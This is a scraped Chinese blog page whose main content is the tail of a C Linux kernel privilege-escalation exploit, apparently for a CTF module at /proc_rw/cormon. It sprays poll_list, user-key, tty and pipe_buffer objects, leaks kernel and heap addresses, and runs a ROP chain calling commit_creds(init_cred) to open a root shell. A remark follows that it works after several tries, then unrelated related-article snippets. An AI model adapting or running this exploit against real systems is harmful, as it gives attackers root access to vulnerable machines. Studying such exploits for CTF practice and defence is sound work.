}void qword_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}bool is_kernel_text_addr(size_t addr) {return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
//    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}bool is_dir_mapping_addr(size_t addr) {return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}#define INVALID_KERNEL_OFFSET 0x1145141919810const size_t kernel_addr_list[] = {0xffffffff813275c0,0xffffffff812d4320,0xffffffff812d4340,0xffffffff812d4330
};size_t kernel_offset_query(size_t kernel_text_leak) {if (!is_kernel_text_addr(kernel_text_leak)) {return INVALID_KERNEL_OFFSET;}for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)&& (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {return kernel_text_leak - kernel_addr_list[i];}}printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);return INVALID_KERNEL_OFFSET;
}size_t search_kernel_offset(void *buf, int len) {size_t *search_buf = buf;for (int i = 0; i < len / 8; i++) {size_t kernel_offset = kernel_offset_query(search_buf[i]);if (kernel_offset != INVALID_KERNEL_OFFSET) {printf("[+] kernel leak addr: %#lx\n", search_buf[i]);printf("[+] kernel offset: %#lx\n", kernel_offset);return kernel_offset;}}return INVALID_KERNEL_OFFSET;
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}typedef struct {int nfds, timer;
} poll_args;struct poll_list {struct poll_list *next;int len;struct pollfd entries[];
};pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;void *alloc_poll_list(void *args) {int nfds = ((poll_args *) args)->nfds;int timer = ((poll_args *) args)->timer;struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++) {pfds[i].fd = open("/etc/passwd", O_RDONLY);pfds[i].events = POLLERR;}bind_core(true, true);pthread_mutex_lock(&mutex);poll_threads++;pthread_mutex_unlock(&mutex);poll(pfds, nfds, timer);bind_core(false, true);pthread_mutex_lock(&mutex);poll_threads--;pthread_mutex_unlock(&mutex);
}#define N_STACK_PPS 30
#define POLL_NUM 0x1000pthread_t poll_tid[POLL_NUM];void create_poll_thread(size_t size, int timer) {poll_args *args = calloc(1, sizeof(poll_args));args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)+ N_STACK_PPS;args->timer = timer;pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}void wait_poll_start() {while (poll_threads != poll_cnt);
}void join_poll_threads(void (*confuse)(void *), void *confuse_args) {for (int i = 0; i < poll_threads; i++) {pthread_join(poll_tid[i], NULL);if (confuse != NULL) {confuse(confuse_args);}}poll_cnt = poll_threads = 0;
}struct callback_head {struct callback_head *next;void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;struct user_key_payload {struct rcu_head rcu;        /* RCU destructor */unsigned short datalen;    /* length of this data */char data[0] __aligned(__alignof__(u64)); /* actual data */
};#define KEY_NUM 199
int key_id[KEY_NUM];int key_alloc(int id, void *payload, int payload_len) {char description[0x10] = {};sprintf(description, "%d", id);return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}int key_update(int id, void *payload, size_t plen) {return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}int key_read(int id, void *bufer, size_t buflen) {return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}int key_revoke(int id) {return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}int key_unlink(int id) {return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}struct list_head {struct list_head *next, *prev;
};
struct tty_file_private {struct tty_struct *tty;struct file *file;struct list_head list;
};struct page;
struct pipe_inode_info;
struct pipe_buf_operations;struct pipe_bufer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};struct pipe_buf_operations {int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);void (*release)(struct pipe_inode_info *, struct pipe_bufer *);int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};void get_shell(void) {char *args[] = {"/bin/bash", "-i", NULL};execve(args[0], args, NULL);
}#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024int cormon_fd;
char buf[0x20000];void seq_confuse(void *args) {open("/proc/self/stat", O_RDONLY);
}size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;int main() {bind_core(true, false);save_status();signal(SIGSEGV, (void *) get_shell);cormon_fd = open("/proc_rw/cormon", O_RDWR);if (cormon_fd < 0) {perror("[-] failed to open cormon.");exit(-1);}size_t kernel_offset;int target_key;puts("[*] Saturating kmalloc-32 partial slabs...");int seq_fd[SEQ_NUM];for (int i = 0; i < SEQ_NUM; i++) {seq_fd[i] = open("/proc/self/stat", O_RDONLY);if (seq_fd[i] < 0) {perror("[-] failed to open stat.");exit(-1);}if (i == 2048) {puts("[*] Spraying user keys in kmalloc-32...");for (int j = 0; j < KEY_NUM; j++) {setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);key_alloc(j, buf, 32);if (j == 72) {bind_core(false, false);puts("[*] Creating poll threads...");for (int k = 0; k < 14; k++) {create_poll_thread(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000);}bind_core(true, false);wait_poll_start();}}puts("[*] Corrupting poll_list next pointer...");write(cormon_fd, buf, PAGE_SIZE);puts("[*] Triggering arbitrary free...");join_poll_threads(seq_confuse, NULL);puts("[*] Overwriting user key size / Spraying seq_operations structures...");}}puts("[*] Leaking kernel pointer...");for (int i = 0; i < KEY_NUM; i++) {int len = key_read(i, buf, sizeof(buf));kernel_offset = search_kernel_offset(buf, len);if (kernel_offset != INVALID_KERNEL_OFFSET) {qword_dump("dump leak memory", buf, 0x1000);target_key = i;break;}}if (kernel_offset == INVALID_KERNEL_OFFSET) {puts("[-] failed to leak kernel offset,try again.");exit(-1);}push_rsi_pop_rsp_ret += kernel_offset;pop_rdi_ret += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;pop_r14_pop_r15_ret += kernel_offset;find_task_by_vpid += kernel_offset;init_fs += kernel_offset;pop_rcx_ret += kernel_offset;add_rax_rcx_ret += kernel_offset;mov_mmrax_rbx_pop_rbx_ret += kernel_offset;pop_rbx_ret += kernel_offset;swapgs_ret += kernel_offset;iretq += kernel_offset;puts("[*] Freeing user keys...");for (int i = 0; i < KEY_NUM; i++) {if (i != target_key) {key_unlink(i);}}sleep(1);puts("[*] Spraying tty_file_private / tty_struct structures...");int tty_fd[TTY_NUM];for (int i = 0; i < TTY_NUM; i++) {tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (tty_fd[i] < 0) {perror("[-] failed to open ptmx");}}puts("[*] Leaking heap pointer...");size_t target_object = -1;int len = key_read(target_key, buf, sizeof(buf));qword_dump("dump leak memory", buf, 0x1000);for (int i = 0; i < len; i += 8) {struct tty_file_private *head = (void *) &buf[i];if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)&& head->list.next == head->list.prev && head->list.prev != NULL) {qword_dump("leak tty_struct addr from tty_file_private", &buf[i], sizeof(struct tty_file_private));target_object = (size_t) head->tty;printf("[+] tty_struct addr: %p\n", target_object);break;}}if (target_object == -1) {puts("[-] failed to leak tty_struct addr.");exit(-1);}puts("[*] Freeing seq_operation structures...");for (int i = 2048; i < SEQ_NUM; i++) {close(seq_fd[i]);}bind_core(false, false);puts("[*] Creating poll threads...");for (int i = 0; i < 192; i++) {create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);}bind_core(true, false);wait_poll_start();puts("[*] Freeing corrupted key...");key_unlink(target_key);sleep(1); // GC keyputs("[*] Overwriting poll_list next pointer...");char key[32] = {};*(size_t *) &buf[0] = target_object - 0x18;for (int i = 0; i < KEY_NUM; i++) {setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);key_alloc(i, key, 32);}puts("[*] Freeing tty_struct structures...");for (int i = 0; i < TTY_NUM; i++) {close(tty_fd[i]);}sleep(1); // GC TTYsint pipe_fd[PIPE_NUM][2];puts("[*] Spraying pipe_bufer structures...");for (int i = 0; i < PIPE_NUM; i++) {pipe(pipe_fd[i]);write(pipe_fd[i][1], "aaaaaa", 6);}puts("[*] Triggering arbitrary free...");join_poll_threads(NULL, NULL);((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;size_t *rop = (size_t *) buf;*rop++ = pop_r14_pop_r15_ret;rop++;rop++; // ops// commit_creds(&init_creds)*rop++ = pop_rdi_ret;*rop++ = init_cred;*rop++ = commit_creds;// current = find_task_by_vpid(getpid())*rop++ = pop_rdi_ret;*rop++ = getpid();*rop++ = find_task_by_vpid;// current->fs = &init_fs*rop++ = pop_rcx_ret;*rop++ = 0x6e0;*rop++ = add_rax_rcx_ret;*rop++ = pop_rbx_ret;*rop++ = init_fs;*rop++ = mov_mmrax_rbx_pop_rbx_ret;rop++;// back to user*rop++ = swapgs_ret;*rop++ = iretq;*rop++ = (uint64_t) get_shell;*rop++ = user_cs;*rop++ = user_rflags;*rop++ = user_sp;*rop++ = user_ss;puts("[*] Spraying ROP chain...");for (int i = 0; i < 31; i++) {key_alloc(i, buf, 1024);}puts("[*] Hijacking control flow...");for (int i = 0; i < PIPE_NUM; i++) {close(pipe_fd[i][0]);close(pipe_fd[i][1]);}sleep(5);return 0;
}

多试几次还是可以成功的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/470542.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

设计模式:工厂方法模式和策略模式

工厂方法模式 什么是开闭原则? 开闭原则是扩展开发,对修改关闭 简单工厂(不是设计模式而是一种编程的习惯) 有三个角色 抽象产品:定义了产品的规范,描述了产品的特性和功能.具体产品:实现或者继承抽象产品的子类具体工厂:提供了创建产品的方法,调用者通过该方法获取产品 实…

深度学习代码笔记

一、U-NET 论文题目&#xff1a;U-Net: Convolutional Networks for Biomedical Image SegmentationUNet 的体系结构基于编码器-解码器范式&#xff0c;其中编码器从输入图像中提取特征&#xff0c;解码器基于这些特征生成分割图。但是&#xff0c;UNet还集成了编码器和解码器…

软件测试面试2024最新热点问题

大厂面试热点问题 1、测试人员需要何时参加需求分析&#xff1f; 如果条件循序 原则上来说 是越早介入需求分析越好 因为测试人员对需求理解越深刻 对测试工作的开展越有利 可以尽早的确定测试思路 减少与开发人员的交互 减少对需求理解上的偏差 2、软件测试与调试的关系 测…

L10.【LeetCode笔记】回文链表

目录 1.题目 2.自解 代码 提交结果 1.题目 给你一个单链表的头节点 head &#xff0c;请你判断该链表是否为 回文链表 。如果是&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,2,1] 输出&#xff1a;tru…

Lucene 和 Elasticsearch 中更好的二进制量化 (BBQ)

作者&#xff1a;来自 Elastic Benjamin Trent Lucene 和 Elasticsearch 中更好的二进制量化 (BBQ)。 嵌入模型输出 float32 向量&#xff0c;通常对于高效处理和实际应用来说太大。Elasticsearch 支持 int8 标量量化&#xff0c;以减小向量大小&#xff0c;同时保持性能。其他…

猿创征文|Inscode桌面IDE:打造高效开发新体验

猿创征文&#xff5c;Inscode桌面IDE&#xff1a;打造高效开发新体验 引言 在当今快速发展的软件开发领域&#xff0c;一个高效、易用的集成开发环境&#xff08;IDE&#xff09;是每个开发者必不可少的工具。Inscode 桌面 IDE 作为一款新兴的开发工具&#xff0c;凭借其强大…

【VBA实战】用Excel制作排序算法动画续

为什么会产生用excel来制作排序算法动画的念头&#xff0c;参见【VBA实战】用Excel制作排序算法动画一文。这篇文章贴出我所制作的所有排序算法动画效果和源码&#xff0c;供大家参考。 冒泡排序&#xff1a; 插入排序&#xff1a; 选择排序&#xff1a; 快速排序&#xff1a;…

IPguard与Ping32全面对比——选择最适合企业的数据安全解决方案

在如今数据安全威胁日益加剧的时代&#xff0c;企业必须高度重视保护敏感数据与信息。因此&#xff0c;选择一款合适的数据安全软件&#xff0c;尤其是防泄密和信息保护软件&#xff0c;显得尤为重要。在市场上&#xff0c;有两款备受企业青睐的数据安全解决方案——IPguard和P…

《情商》提升:增强自我意识,学会与情绪共处

在当今社会&#xff0c;情商&#xff08;Emotional Intelligence&#xff0c;EQ&#xff09;的重要性越来越受到人们的关注。情商是指个体运用情绪、情感、认知和行为反应的能力&#xff0c;来理解、管理、表达和处理情感的一种综合素养。情商的高低对于个人的成长、人际关系、…

k8s集群安装(kubeadm)

k8s集群安装&#xff08;kubeadm&#xff09; 1、环境准备&#xff08;master和node节点都执行&#xff09;1.1、替换yum源1.2、关闭selinux1.3、永久关闭防火墙1.4、永久关闭swap1.5、修改主机名添加host1.6、时间同步1.7、将桥接的IPv4流量传递到iptables的链1.8、docker安装…

使用Matlab建立随机森林

综述 除了神经网络模型以外&#xff0c;树模型及基于树的集成学习模型是较为常用的效果较好的预测模型。我们以下构建一个随机森林模型。 随机森林是一种集成学习方法&#xff0c;通过构建多个决策树并结合其预测结果来提高模型的准确性和稳定性。在MATLAB中&#xff0c;可以…

Wireshark

目录 解题思路 题目设计原理 总结 解题思路 首先下载文件&#xff0c;用 wireshark 打开一头雾水。 但是看看题目的提示&#xff0c;说管理员的密码就是 flag 的内容&#xff0c;我们可以知道&#xff0c;关键词估计是密码&#xff0c;passwd、password、pwd之类的。 所以我…

FreeRTOS学习13——任务相关API函数

任务相关API函数 任务相关API函数任务相关API函数介绍任务相关 API 函数详解函数 uxTaskPriorityGet()函数 vTaskPrioritySet()函数 uxTaskGetSystemState()函数 vTaskGetInfo()函数 xTaskGetApplicationTaskTag()函数 xTaskGetCurrentHandle()函数 xTaskGetHandle()函数 xTask…

使用kalibr_calibration标定相机(realsense)和imu(h7min)

vslam-evaluation/VINS/Installation documentation/4.IMU和相机联合标定kalibr_calibration.md at master DroidAITech/vslam-evaluation GitHub 目录 1.kalibr安装 1.1安装依赖项 1.2创建工作空间 1.3下载kalibr并编译 1.4设置环境变量 2.准备标定板 3.配置驱动和打…

[Docker#8] 容器配置 | Mysql | Redis | C++ | 资源控制 | 命令对比

目录 一&#xff1a;Mysql 容器化安装 二&#xff1a;Redis 容器化安装 Redis 简介 Redis 容器创建 三&#xff1a;C容器制作 四&#xff1a;容器资源更新 常见问题 一&#xff1a;Mysql 容器化安装 进入 mysql 的镜像网站&#xff0c;查找 mysql 的镜像 mysql docker…

1小时构建Vue3知识体系之vue的生命周期函数

本文转载自&#xff1a;https://fangcaicoding.cn/course/12/63 大家好&#xff01;我是方才&#xff0c;目前是8人后端研发团队的负责人&#xff0c;拥有6年后端经验&3年团队管理经验。 系统学习践行者&#xff01;近期在系统化输出前端入门相关技术文章&#xff0c;期望能…

数据结构-集合

一.集合的表示 一个重要的操作是查某个元素属于哪个集合&#xff0c;另一个操作是合并操作 从这个树的节点去找树根也就是从下往上找,要把树并起来只需把两个根并在一起就可以了 不存在已知一个节点去找孩子节点&#xff0c;根重要的是已知一个节点找它的父亲节点,与之前的二…

unity基础,点乘叉乘。

简单记录下点乘叉乘&#xff0c;要不每次用完就忘&#xff0c;忘了又查。 using System.Collections; using System.Collections.Generic; using UnityEngine;public class TestCrossDot : MonoBehaviour {/// <summary>/// 原点/// </summary>public Transform t…

springboot 之 整合springdoc2.6 (swagger 3)

版本 springboot 3.3.5 jdk 17 springdoc 2.6.0 依赖pom <dependency><groupId>org.springdoc</groupId><artifactId>springdoc-openapi-starter-webmvc-ui</artifactId><version>2.6.0</version> </dependency>注解对比…

数据结构与算法-前缀和数组

前缀和问题 什么是前缀和? 对于一个一般数组 nums,如果我们需要知道 S1 nums[0] nums[1]的结果&#xff0c; S2 nums[0] nums[1] nums[2] … 计算公式相当于: S2 S1 nums[2] … Sn Sn-1 nums[n]; 所谓前缀和&#xff1a;用来记录数组前项和的一个新数组&#xff0c;提…